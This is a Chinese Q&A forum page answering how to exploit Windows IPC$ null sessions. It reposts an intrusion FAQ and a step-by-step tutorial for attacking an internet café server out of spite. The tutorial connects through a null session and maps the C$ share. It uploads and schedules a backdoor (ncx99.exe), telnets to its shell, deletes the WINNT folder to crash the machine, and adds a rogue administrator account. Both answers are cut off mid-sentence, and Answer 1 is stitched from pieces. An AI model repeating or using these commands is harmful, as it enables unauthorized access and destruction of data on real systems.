Question

IPC空连接怎么利用啊

我在局域网里扫到2台机有IP空连接`~怎么 连接啊

Answer 1

关于IPC$空连接和IPC$入侵常见问题和回答：
1，怎样建立空连接，它有什么用？
使用命令 net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接（需要目标开放ipc$）。
对于NT，在默认安全设置下，借助空连接可以列举目标用户、共享，访问everyone权限的共享，访问小部分注册表等，没有什么利用价值。对2000作用就更小了。而且实现也不方便，需借助工具。

2，为什么我连不上IPC$？
1，只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。
2，确认你的命令没有打错。正确的命令是： net use \目标IP\ipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3，根据返回的错误号分析原因：
错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；
错误号51，Windows 无法找到网络路径 : 网络有问题；
错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。
错误号1326，未知的用户名或错误密码 ： 原因很明显了；
错误号1792，试图登录，但是网络登录服务没
方便控制。这里提到的工具的使用，请看自带的说明或相关教程。

用IPC空连接入侵网吧主机

爱好者博墅Xp;av:\G4D
相信现在还有很多朋友还是在网吧上网，有时候看到网吧老板蛮横的样子，得想个办法整他一下吧!苦于自己不会“黑功”，只好忍气吞声了!

大家作生意都不容易，不要太“黑”哟!做一个受人尊敬的黑客!

先查它的ip IP:61.141.xxx.xxx （方法很多的）

我就打开DOS输入：net use \\61.141.xxx.xxx\ipc$

提示输入密码(网吧的服务器一般是对客房机共享，所以......嘿嘿)：

我估计是空！

直接按下[Enter]

真的被我猜中了！

接着我便继续输入:net use \\61.141.xxx.xxx\c$

提示输入密码：

我也没有理会！

谁知道这下不管用了！

找他的弱口令X-SCANNER（下载地方http://www.xfocus.net)扫它。

我接着就映射他的c盘

net use z: \\61.141.xxx.xxx\c$

接着把NETX99放上去！

看他的时间！

net time \\61.141.xxx.xxx

他的时间是假如是下午3：02分

接着安排他的执行时间！

at \\61.141.xxx.xxx 15:04 ncx99.exe

命令成功完成!

接下来就是等时间了！

OK!到时间了！

telnet 61.141.xxx.xxx 99

进入了！

c:\>rd /s /q WINNT

呵呵！这时你会发现有很多文件拒绝访问！不要害怕！这是很正常的事情！因为他有很多文件正在调用！ 不过他的机器很快就会拼命报错！直到系统崩溃！呵呵！对于一个网吧来说！这个无疑是一个致命的打击！没有主机怎么上网？只有关门了！呵呵！接着就是如何获取ADMIN的权限了！

我们首先把他的C盘映射成为我们的Z盘！

开始－－运行－－cmd

输入:net use z: //61.141.xxx.xxx/c$ "密码" /user:"用户名"

出现：命令成功完成

这时候你打开“我的电脑”看看！

是不是多了一个Z盘？

接着不用我多说了吧？

首先必须创建一个你自己的用户名

输入：net user 用户名 "密码" /add

出现：命令成功完成

OK!

接着就是如何把你创建的用户加到ADMIN组了！

输入：net localgroup administrators “用户名” /add

OK，出现：命令成功完成

Answer 2

　　1，怎样建立空连接，它有什么用。
使用命令 net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接（需要目标开放ipc$）。
对于NT，在默认安全设置下，借助空连接可以列举目标用户、共享，访问everyone权限的共享，访问小部分注册表等，没有什么利用价值。对2000作用就更小了。而且实现也不方便，需借助工具。

2，为什么连不上IPC$
1，只有nt/2000/xp及以上系统才可以建立ipc$。如果用的是98/me是没有该功能的。
2，确认命令没有打错。正确的命令是： net use \目标IP\ipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3，根据返回的错误号分析原因：
错误号5，拒绝访问 ： 很可能使用的用户不是管理员权限的，先提升权限；
错误号51，Windows 无法找到网络路径 : 网络有问题；
错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名 ： lanmanworkstation服务未启动；目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突 ： 已经和对方建立了一个ipc$，请删除再连。
错误号1326，未知的用户名或错误密码 ： 原因很明显了；
错误号1792，试图登录，但是网络登录服务没